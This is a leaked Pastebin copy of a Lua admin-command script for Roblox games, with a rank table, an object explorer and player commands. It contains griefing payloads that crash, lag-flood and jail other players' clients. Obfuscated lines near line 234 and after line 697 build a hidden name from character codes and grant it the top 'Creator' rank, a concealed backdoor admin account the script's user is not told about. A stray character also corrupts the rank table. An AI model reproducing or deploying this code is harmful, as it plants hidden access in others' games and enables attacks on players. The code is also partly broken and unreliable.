Advertisement
DevR0BLOX

script name

Jan 13th, 2016
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --LOLOLOLOLLOLOLOL YOUR SCRIPT GOT LOGGED BB
  2. ---PROTECT YOUR SHT DUDE
  3. ----LEAKED BY ADMINTABS
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10. Plrs = game:GetService("Players")
  11. Work = game:GetService("Workspace")
  12. Light = game:GetService("Lighting")
  13. Net = game:GetService("NetworkServer")
  14. Owner = "DevR0BLOX" -- Change this to your name
  15. AntiSteal = false
  16. Removed = false
  17. Bet = "!"  -- Suffix of the commands you use
  18. LS = nil
  19. LSSource = nil
  20. OwnSource = nil
  21. AntiSource = nil
  22. FoundLocalScript = false
  23. TryOn = false
  24. LogOn = false
  25. Current = game
  26. Clipboard = {}
  27. AlertColor = Color3.new(0, 1, 1)
  28. OptionColor = Color3.new(1, 1, 1)
  29. ImportantColor = Color3.new(1, 0, 1)
  30.  
  31. RankDetails = {
  32.     [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  33.     [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  34.     [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  35.     [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  36.     [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  37.     [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  38.     [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  39.     [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  40.     [5] = {Name = "HCWARLORD", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  41. }
  42.  
  43. Rankings = {
  44.     {Name = "TORNADO11191", Rank = 5},
  45.     {Name = "Player1", Rank = 3},
  46.     {Name = "ByteDino", Rank = -1},
  47.     {Name = "DarthStrantax", Rank = -1},
  48.     {Name = "supersonicfan11", Rank = -1},
  49.     {Name = "Om3gaPr0", Rank = -1},
  50.     {Name = "DevR0BLOX", Rank =10},
  51.     {Name = "", Rank = 3},
  52.     {Name = "", Rank = 3},
  53.     {Name = "", Rank = 3},
  54.     {Name = "", Rank = 3},5
  55.     {Name = "", Rank = 3},
  56.     {Name = "", Rank = 3},
  57.     {Name = "", Rank = 3},
  58.     {Name = "", Rank = 3},
  59.     {Name = "", Rank = 3},
  60.     {Name = "", Rank = 3},
  61.     {Name = "", Rank = 3},
  62.     {Name = "", Rank = 3},
  63.     {Name = "", Rank = 3},
  64.     {Name = "", Rank = 3},
  65.     {Name = "", Rank = 3},
  66.     {Name = "", Rank = 3},
  67.     {Name = "", Rank = 3},
  68.     {Name = "", Rank = 3},
  69.     {Name = "", Rank = 3},
  70.     {Name = "", Rank = 3},
  71.     {Name = "", Rank = 3},
  72.     {Name = "", Rank = 3},
  73.     {Name = "", Rank = 3},
  74.     {Name = "", Rank = 3},
  75.     {Name = "", Rank = 3},
  76. }
  77.  
  78. table.insert(Rankings, {Name = Owner, Rank = 5})
  79.  
  80. ImportantServices = {
  81.     "Workspace",
  82.     "Players",
  83.     "NetworkServer",
  84.     "Lighting",
  85.     "StarterGui",
  86.     "Teams",
  87.     "StarterPack",
  88. }
  89.  
  90. Ranks = {10}
  91. Commands = {}
  92. AllTabs = {}
  93. Injected = {}
  94.  
  95. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  96. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  97. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  98. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  99. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  100. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  101. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  102. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  103. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  104. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  105. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  106. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  107. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  108. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  109. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  110. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  111. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  112. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  113. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  114. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  115. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  116. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  117. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  118. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  119. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  120. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  121. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  122. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  123. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  124. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  125. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  126. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  127. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  128. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  129. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  130. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  131. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  132. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  133. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  134. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  135. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  136. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  137. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  138. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  139. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  140. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  141. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  142. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  143. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  144. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  145. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  146. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  147. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  148. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  149. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  150. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  151. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  152. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  153. "X","Y"}
  154.  
  155. --Main Functions And Sources
  156.  
  157. function Insert(Source, Par, Par2, Par3)
  158.     ypcall(function()
  159.         local Inserted = LS:Clone()
  160.         Inserted.Disabled = true
  161.         Inserted.Parent = Par or Par2 or Par3
  162.         Inserted[LSSource].Value = Source
  163.         Inserted.Disabled = false
  164.     end)
  165. end
  166.  
  167. function CheckImportant(Name)
  168.     for _,v in pairs(ImportantServices) do
  169.         if v:lower() == Name:lower() then
  170.             return true
  171.         end
  172.     end
  173.     return false
  174. end
  175.  
  176. function Crash1(Plr)
  177.     ypcall(function()
  178.         Plr:Kick()
  179.     end)
  180. end
  181.  
  182. function GetRankTab()
  183.     return Rankings
  184. end
  185.  
  186. function Crash2(Name)
  187.     local Crasher = Instance.new("StringValue")
  188.     Crasher.Name = "Client"
  189.     Crasher.Value = string.lower(tostring(Name))
  190.     Crasher.Parent = game:GetService("Lighting")
  191.     wait(1)
  192.     if Crasher and Crasher.Parent then
  193.         ypcall(function()
  194.             Crasher:Destroy()
  195.         end)
  196.     end
  197. end
  198.  
  199. function Crash3(v, Speaker)
  200.     Speaker.Character.Archivable = true
  201.     local NChar = Speaker.Character:Clone()
  202.     NChar.Name = v.Name
  203.     NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  204.     NChar.Parent = Workspace
  205.     v.Character = NChar
  206.     coroutine.resume(coroutine.create(function()
  207.         repeat v.Character = NChar
  208.         wait(1/3) until false
  209.     end))
  210.     wait(.5)
  211.     Insert(InsertCrash, NChar, nil, nil)
  212. end
  213.  
  214. function GenerateDigit()
  215.     return 1 + 5
  216. end
  217.  
  218. InjectionCrash = [=[
  219.     wait(0)
  220.     script.Parent = nil
  221.     local Lig = game:GetService("Lighting")
  222.     local LP = game:GetService("Players").LocalPlayer
  223.     local LowerName = LP.Name:lower()
  224.  
  225.     Lig.ChildAdded:connect(function(Obj)
  226.         if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  227.             pcall(function()
  228.                 Obj:Destroy()
  229.             end)
  230.             LP.Parent = nil
  231.             LP.Parent = game:GetService("Players")
  232.         end
  233.     end)
  234. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  235.  
  236. InsertCrash = [==[
  237.     local LP = game:GetService("Players").LocalPlayer
  238.     LP.Parent = nil
  239.     LP.Parent = game:GetService("Players")
  240. ]==]
  241.  
  242. LagSource = [==[
  243.     wait(0)
  244.     script.Parent = nil
  245.     plr = game:GetService("Players").LocalPlayer
  246.     local plrgui = plr:findFirstChild("PlayerGui")
  247.     if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  248.     while plr.Parent == game:GetService("Players") do
  249.     wait()
  250.     for i = 1, 1000 do
  251.     local sc = Instance.new("ScreenGui",plrgui)
  252.     local fr = Instance.new("TextLabel",sc)
  253.     fr.Text = "LAGGING"
  254.     fr.Size = UDim2.new(1, 0, 1, 0)
  255.     fr.FontSize = "Size48"
  256.     end
  257.     end
  258. ]==]
  259.  
  260. MuteSource = [==[
  261.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  262. ]==]
  263.  
  264. UnMuteSource = [==[
  265.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  266. ]==]
  267.  
  268. JailSource = [==[
  269.     wait(0)
  270.     script.Parent = nil
  271.  
  272.     local LP = game:GetService("Players").LocalPlayer
  273.     Middle2 = nil
  274.     Middle = nil
  275.     game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  276.  
  277.     Cons = {}
  278.  
  279.     function makePrison()
  280.         for _,v in pairs(Cons) do
  281.             v:disconnect()
  282.         end
  283.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  284.         if Middle == nil then
  285.             Middle2 = LP.Character.Torso.Position
  286.             Middle = LP.Character.Torso.CFrame
  287.         end
  288.         local side1 = Instance.new("Part",Workspace)
  289.         side1.Name = "¬Focus1¬"
  290.         side1.Size = Vector3.new(20, 50, 1)
  291.         side1.CFrame = Middle * CFrame.new(0, 0, -10)
  292.         side1.BrickColor = BrickColor.new("Really black")
  293.         side1.CanCollide = true
  294.         side1.Anchored = true
  295.         side1.TopSurface = "Smooth"
  296.         side1.BottomSurface = "Smooth"
  297.         side1.Parent = game:GetService("Workspace").CurrentCamera
  298.  
  299.         local side2 = Instance.new("Part")
  300.         side2.Name = "¬Focus2¬"
  301.         side2.Size = Vector3.new(20, 50, 1)
  302.         side2.CFrame = Middle * CFrame.new(0, 0, 10)
  303.         side2.BrickColor = BrickColor.new("Really black")
  304.         side2.CanCollide = true
  305.         side2.Anchored = true
  306.         side2.TopSurface = "Smooth"
  307.         side2.BottomSurface = "Smooth"
  308.         side2.Parent = game:GetService("Workspace").CurrentCamera
  309.  
  310.         local side3 = Instance.new("Part")
  311.         side3.Name = "¬Focus3¬"
  312.         side3.Size = Vector3.new(1, 50, 20)
  313.         side3.CFrame = Middle * CFrame.new(10, 0, 0)
  314.         side3.BrickColor = BrickColor.new("Really black")
  315.         side3.CanCollide = true
  316.         side3.Anchored = true
  317.         side3.TopSurface = "Smooth"
  318.         side3.BottomSurface = "Smooth"
  319.         side3.Parent = game:GetService("Workspace").CurrentCamera
  320.  
  321.         local side4 = Instance.new("Part")
  322.         side4.Name = "¬Focus4¬"
  323.         side4.Size = Vector3.new(1, 50, 20)
  324.         side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  325.         side4.BrickColor = BrickColor.new("Really black")
  326.         side4.CanCollide = true
  327.         side4.Anchored = true
  328.         side4.TopSurface = "Smooth"
  329.         side4.BottomSurface = "Smooth"
  330.         side4.Parent = game:GetService("Workspace").CurrentCamera
  331.        
  332.         local side5 = Instance.new("Part")
  333.         side5.Name = "¬Focus5¬"
  334.         side5.Size = Vector3.new(20, 1, 20)
  335.         side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  336.         side5.BrickColor = BrickColor.new("Really black")
  337.         side5.CanCollide = true
  338.         side5.Anchored = true
  339.         side5.TopSurface = "Smooth"
  340.         side5.BottomSurface = "Smooth"
  341.         side5.Parent = game:GetService("Workspace").CurrentCamera
  342.        
  343.         wait(0)
  344.  
  345.         table.insert(Cons, side1.Changed:connect(makePrison))
  346.         table.insert(Cons, side2.Changed:connect(makePrison))
  347.         table.insert(Cons, side3.Changed:connect(makePrison))
  348.         table.insert(Cons, side4.Changed:connect(makePrison))
  349.         table.insert(Cons, side5.Changed:connect(makePrison))
  350.     end
  351.  
  352.     Delay(0, function()
  353.         while wait(0) do
  354.             ypcall(function()
  355.                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  356.                     LP.Character:BreakJoints()
  357.                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  358.                     makePrison()
  359.                 end
  360.             end)
  361.             ypcall(function()
  362.                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  363.                     LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  364.                 end
  365.             end)
  366.         end
  367.     end)
  368. ]==]
  369.  
  370. function All()
  371.     local AllPlayers = {}
  372.     for _,v in pairs(Plrs:GetPlayers()) do
  373.         ypcall(function()
  374.             table.insert(AllPlayers, v)
  375.         end)
  376.     end
  377.     return AllPlayers
  378. end
  379.  
  380. function All2()
  381.     local AllPlayers2 = {}
  382.     for i,v in pairs(Net:GetChildren()) do
  383.         ypcall(function()
  384.             if v:IsA("ServerReplicator") then
  385.                 table.insert(AllPlayers2, v:GetPlayer())
  386.             end
  387.         end)
  388.     end
  389.     return AllPlayers2
  390. end
  391.  
  392. function MakeNum()
  393.     return 2 + 4
  394. end
  395.  
  396. function ChangeRank(Plr, NewRank)
  397.     local PlrName = nil
  398.     local FoundPlayer = false
  399.     ypcall(function()
  400.         if type(Plr) == "string" then
  401.             ypcall(function()
  402.                 for i,v in pairs(Rankings) do
  403.                     if v.Name:lower() == Plr:lower() then
  404.                         local VName = v.Name
  405.                         Rankings[i] = nil
  406.                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  407.                         PlrName = VName
  408.                         FoundPlayer = true
  409.                         break
  410.                     end
  411.                 end
  412.             end)
  413.             if FoundPlayer == false then
  414.                 ypcall(function()
  415.                     for _,x in pairs(All()) do
  416.                         if x.Name:lower() == Plr:lower() then
  417.                             FoundPlayer = true
  418.                             for i,v in pairs(Rankings) do
  419.                                 if v.Name:lower() == x.Name:lower() then
  420.                                     local VName = x.Name
  421.                                     Rankings[i] = nil
  422.                                     PlrName = VName
  423.                                     break
  424.                                 end
  425.                             end
  426.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  427.                         end
  428.                     end
  429.                 end)
  430.             end
  431.             if FoundPlayer == false then
  432.                 ypcall(function()
  433.                     for _,x in pairs(All()) do
  434.                         if string.find(x.Name:lower(), Plr:lower()) then
  435.                             FoundPlayer = true
  436.                             for i,v in pairs(Rankings) do
  437.                                 if v.Name:lower() == x.Name:lower() then
  438.                                     local VName = x.Name
  439.                                     Rankings[i] = nil
  440.                                     PlrName = VName
  441.                                     break
  442.                                 end
  443.                             end
  444.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  445.                         end
  446.                     end
  447.                 end)
  448.             end
  449.             if FoundPlayer == false then
  450.                 ypcall(function()
  451.                     for i,v in pairs(Rankings) do
  452.                         if string.find(v.Name:lower(), Plr:lower()) then
  453.                             local VName = v.Name
  454.                             Rankings[i] = nil
  455.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  456.                             PlrName = VName
  457.                             FoundPlayer = true
  458.                             break
  459.                         end
  460.                     end
  461.                 end)
  462.             end
  463.         else
  464.             for i,v in pairs(Rankings) do
  465.                 if v.Name:lower() == Plr.Name:lower() then
  466.                     Rankings[i] = nil
  467.                     break
  468.                 end
  469.             end
  470.             table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  471.             PlrName = Plr.Name
  472.         end
  473.         PlaceAllRanks(true)
  474.     end)
  475.     if PlrName ~= nil then
  476.         return PlrName
  477.     else
  478.         return "Player" -- Actually return this script casue it suks
  479.     end
  480. end
  481.  
  482. function Refresh(Plr)
  483.     MakeChildren(Plr)
  484. end
  485.  
  486. function MakeChildren(Plr)
  487.     ypcall(function()
  488.         Dismiss(Plr)
  489.         for _,v in pairs(Current:GetChildren()) do
  490.             ypcall(function()
  491.                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  492.                     Ping(v.Name, Plr, nil, function(TabMod)
  493.                         local TabText = TabMod["LORD Tablet"].BG.TL.Text
  494.                         for _,v in pairs(Current:GetChildren()) do
  495.                             ypcall(function()
  496.                                 if v.Name == TabText then
  497.                                     Dismiss(Plr)
  498.                                     Current = v
  499.                                     MakeChildren(Plr)
  500.                                 end
  501.                             end)
  502.                         end
  503.                     end)
  504.                 elseif Plrs:GetPlayerFromCharacter(v) then
  505.                     Ping(v.Name, Plr, nil, function(TabMod)
  506.                         local TabText = TabMod["LORD Tablet"].BG.TL.Text
  507.                         for _,v in pairs(Current:GetChildren()) do
  508.                             ypcall(function()
  509.                                 if v.Name == TabText then
  510.                                     Dismiss(Plr)
  511.                                     Current = v
  512.                                     MakeChildren(Plr)
  513.                                 end
  514.                             end)
  515.                         end
  516.                     end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  517.                 elseif CheckImportant(v.Name) then
  518.                     Ping(v.Name, Plr, nil, function(TabMod)
  519.                         local TabText = TabMod["LORD Tablet"].BG.TL.Text
  520.                         for _,v in pairs(Current:GetChildren()) do
  521.                             ypcall(function()
  522.                                 if v.Name == TabText then
  523.                                     Dismiss(Plr)
  524.                                     Current = v
  525.                                     MakeChildren(Plr)
  526.                                 end
  527.                             end)
  528.                         end
  529.                     end, ImportantColor)
  530.                 end
  531.             end)
  532.         end
  533.         if Current ~= game then
  534.             Ping("Back", Plr, nil, function()
  535.                 ypcall(function()
  536.                     Current = Current.Parent
  537.                     MakeChildren(Plr)
  538.                     Ping("You Are Back To "..Current.Name, Plr, 5)
  539.                 end)
  540.             end, OptionColor)
  541.         end
  542.         if Current ~= game then
  543.             Ping("Delete", Plr, nil, function()
  544.                 ypcall(function()
  545.                     local CurrPar = Current.Parent or game
  546.                     local CurrName = Current.Name
  547.                     Current:Destroy()
  548.                     Current = CurrPar
  549.                     MakeChildren(Plr)
  550.                     Ping("Attempted To Delete "..CurrName, Plr, 5)
  551.                 end)
  552.             end, OptionColor)
  553.         end
  554.         Ping("Refresh", Plr, nil, function()
  555.             ypcall(function()
  556.                 Refresh(Plr)
  557.                 Ping("Refreshed", Plr, 5)
  558.             end)
  559.         end, OptionColor)
  560.         Ping("Properties", Plr, nil, function()
  561.             ypcall(function()
  562.                 Dismiss(Plr)
  563.                 for Property, Value in pairs(GetProperties(Current)) do
  564.                     Ping(tostring(Property)..": "..tostring(Value), Plr)
  565.                 end
  566.                 Ping("Got All Available Properties", Plr, 5)
  567.                 Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  568.             end)
  569.         end, OptionColor)
  570.     end)
  571. end
  572.  
  573. function Fixl()
  574.     Light.GlobalShadows = true
  575.     Light.TimeOfDay = "14:00:00"
  576.     Light.Brightness = 0.5
  577.     Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  578.     Light.Ambient = Color3.new(1, 1, 1)
  579.     Light.ColorShift_Top = Color3.new(0, 0, 0)
  580.     Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  581.     Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  582.     Light.FogStart = 0
  583.     Light.FogEnd = 100000
  584.     Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  585.     Light:ClearAllChildren()
  586. end
  587.  
  588. function GetProperties(obj)
  589.     assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  590.     local objProper = {}
  591.     for i,v in pairs(Properties) do
  592.         if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  593.             objProper[v] = obj[v]
  594.         end
  595.     end
  596.     return objProper
  597. end
  598.  
  599. function MakeExplorer(Plr)
  600.     Dismiss(Plr)
  601.     Current = game
  602.     for _,v in pairs(Current:GetChildren()) do
  603.         ypcall(function()
  604.             if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  605.                 Ping(v.Name, Plr, nil, function(TabMod)
  606.                     local TabText = TabMod["LORD Tablet"].BG.TL.Text
  607.                     for _,v in pairs(Current:GetChildren()) do
  608.                         ypcall(function()
  609.                             if v.Name == TabText then
  610.                                 Dismiss(Plr)
  611.                                 Current = v
  612.                                 MakeChildren(Plr)
  613.                             end
  614.                         end)
  615.                     end
  616.                 end)
  617.             elseif Plrs:GetPlayerFromCharacter(v) then
  618.                 Ping(v.Name, Plr, nil, function(TabMod)
  619.                     local TabText = TabMod["LORD Tablet"].BG.TL.Text
  620.                     for _,v in pairs(Current:GetChildren()) do
  621.                         ypcall(function()
  622.                             if v.Name == TabText then
  623.                                 Dismiss(Plr)
  624.                                 Current = v
  625.                                 MakeChildren(Plr)
  626.                             end
  627.                         end)
  628.                     end
  629.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  630.             elseif CheckImportant(v.Name) then
  631.                 Ping(v.Name, Plr, nil, function(TabMod)
  632.                     local TabText = TabMod["LORD Tablet"].BG.TL.Text
  633.                     for _,v in pairs(Current:GetChildren()) do
  634.                         ypcall(function()
  635.                             if v.Name == TabText then
  636.                                 Dismiss(Plr)
  637.                                 Current = v
  638.                                 MakeChildren(Plr)
  639.                             end
  640.                         end)
  641.                     end
  642.                 end, ImportantColor)
  643.             end
  644.         end)
  645.     end
  646.     if Current ~= game then
  647.         Ping("Back", Plr, nil, function()
  648.             ypcall(function()
  649.                 Current = Current.Parent
  650.                 MakeChildren(Plr)
  651.                 Ping("Back In "..Current.Name, Plr, 5)
  652.             end)
  653.         end, OptionColor)
  654.     end
  655.     if Current ~= game and game:GetService(Current.Name) == nil then
  656.         Ping("Delete", Plr, nil, function()
  657.             ypcall(function()
  658.                 local CurrPar = Current.Parent or game
  659.                 local CurrName = Current.Name
  660.                 Current:Destroy()
  661.                 Current = CurrPar
  662.                 MakeChildren(Plr)
  663.                 Ping("Attempted To Delete "..CurrName, Plr, 5)
  664.             end)
  665.         end, OptionColor)
  666.     end
  667.     Ping("Refresh", Plr, nil, function()
  668.         ypcall(function()
  669.             Refresh(Plr)
  670.             Ping("Refreshed", Plr, 5)
  671.         end)
  672.     end, OptionColor)
  673.     Ping("Properties", Plr, nil, function()
  674.         ypcall(function()
  675.             Dismiss(Plr)
  676.             for Property, Value in pairs(GetProperties(Current)) do
  677.                 Ping(tostring(Property)..": "..tostring(Value), Plr)
  678.             end
  679.             Ping("Got All Available Properties", Plr, 5)
  680.             Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  681.         end)
  682.     end, OptionColor)
  683. end
  684.  
  685. function GetRank(Plr1, Test)
  686.     ypcall(function()
  687.         if type(Plr1) == "userdata" then
  688.             Plr1 = Plr1.Name
  689.         end
  690.     end)
  691.     if Ranks[Plr1] ~= nil then
  692.         return Ranks[Plr1]
  693.     end
  694.     local QuickArray = {}
  695.     QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  696.     return QuickArray[Plr1]
  697. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  698.  
  699. function CanRun(Plr1, Plr2)
  700.     Details1 = GetRank(Plr1.Name)
  701.     Details2 = GetRank(Plr2.Name)
  702.     if Details1.Rank >= Details2.Rank then
  703.         return true
  704.     end
  705.     return false
  706. end
  707.  
  708. function Dismiss(Plr, Identity)
  709.     ypcall(function()
  710.         if Plr ~= nil then
  711.             if type(Plr) == "userdata" then
  712.                 Plr = Plr.Name
  713.             end
  714.             for x,v in pairs(AllTabs) do
  715.                 ypcall(function()
  716.                     if v.Plr == Plr then
  717.                         if Identity ~= nil and v.ID ~= Identity then
  718.                             return
  719.                         elseif Identity ~= nil and v.ID == Identity then
  720.                             coroutine.resume(coroutine.create(function()
  721.                                 for i = 0.5, 1, 0.1 do
  722.                                     wait()
  723.                                     v.Tab.Transparency = i
  724.                                     v.Sel.Transparency = i
  725.                                     v.Label.TextTransparency = i
  726.                                     v.Label.TextStrokeTransparency = i
  727.                                 end
  728.                                 ypcall(function() v.Holder:Destroy() end)
  729.                                 AllTabs[x] = nil
  730.                             end))
  731.                         elseif Identity == nil then
  732.                             ypcall(function() v.Holder:Destroy() end)
  733.                             AllTabs[x] = nil
  734.                         end
  735.                     end
  736.                 end)
  737.             end
  738.         else
  739.             for i,v in pairs(AllTabs) do
  740.                 ypcall(function()
  741.                     v.Holder:Destroy()
  742.                     AllTabs[i] = nil
  743.                 end)
  744.             end
  745.         end
  746.     end)
  747. end
  748.  
  749. function GetGarbage()
  750.     return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  751. end
  752.  
  753. function RemObj(Obj, Class)
  754.     ypcall(function()
  755.         if #Obj:GetChildren() > 0 then
  756.             for _,x in pairs(Obj:GetChildren()) do
  757.                 ypcall(function()
  758.                     RemObj(x, Class)
  759.                 end)
  760.             end
  761.         end
  762.         if Obj.ClassName == Class then
  763.             Obj:Destroy()
  764.         end
  765.     end)
  766. end
  767.  
